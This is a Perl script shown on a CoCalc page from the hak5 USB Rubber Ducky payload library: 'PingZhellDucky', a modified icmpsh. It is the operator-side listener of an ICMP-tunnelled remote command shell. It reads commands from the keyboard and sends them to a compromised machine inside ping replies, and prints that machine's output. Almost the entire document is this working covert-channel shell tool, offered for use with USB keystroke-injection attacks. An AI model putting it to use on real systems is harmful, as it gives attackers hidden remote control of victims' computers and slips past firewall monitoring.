Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/remote_access/PingZhellDucky/PingZhellDucky.pl
2964 views
1
#!/usr/bin/env perl
2
#
3
# icmpsh - simple icmp command shell
4
# Copyright (c) 2010, Nico Leidecker <[email protected]>
5
# This program is free software: you can redistribute it and/or modify
6
# it under the terms of the GNU General Public License as published by
7
# the Free Software Foundation, either version 3 of the License, or
8
# (at your option) any later version.
9
#
10
# This program is distributed in the hope that it will be useful,
11
# but WITHOUT ANY WARRANTY; without even the implied warranty of
12
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13
# GNU General Public License for more details.
14
#
15
# You should have received a copy of the GNU General Public License
16
# along with this program. If not, see <http://www.gnu.org/licenses/>.
17
#
18
# Modified by 0i41E for PingZhellDucky
19
#
20
#
21
#
22
#
23
24
25
use strict;
26
use IO::Socket;
27
use NetPacket::IP;
28
use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
29
use Net::RawIP;
30
use Fcntl;
31
32
print "Loading PingZhellDucky...\n";
33
34
# create raw socket
35
my $sock = IO::Socket::INET->new(
36
Proto => "ICMP",
37
Type => SOCK_RAW,
38
Blocking => 1) or die "$!";
39
40
# set stdin to non-blocking
41
fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
42
43
44
#Unnecessary print output - just for fun
45
sleep(2);
46
print ". .\n";
47
sleep(1);
48
print ". . .\n";
49
sleep(1);
50
print ". . . .";
51
sleep(2);
52
print "PingZhellDucky client ready!\n";
53
my $input = '';
54
while(1) {
55
if ($sock->recv(my $buffer, 4096, 0)) {
56
my $ip = NetPacket::IP->decode($buffer);
57
my $icmp = NetPacket::ICMP->decode($ip->{data});
58
if ($icmp->{type} == ICMP_ECHO) {
59
# get identifier and sequencenumber
60
my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
61
62
# write data to stdout and read from stdin
63
print $data;
64
$input = <STDIN>;
65
66
# compile and send response
67
$icmp->{type} = ICMP_ECHOREPLY;
68
$icmp->{data} = pack("SSa*", $ident, $seq, $input);
69
my $raw = $icmp->encode();
70
my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
71
$sock->send($raw, 0, $addr) or die "$!\n";
72
}
73
}
74
}
75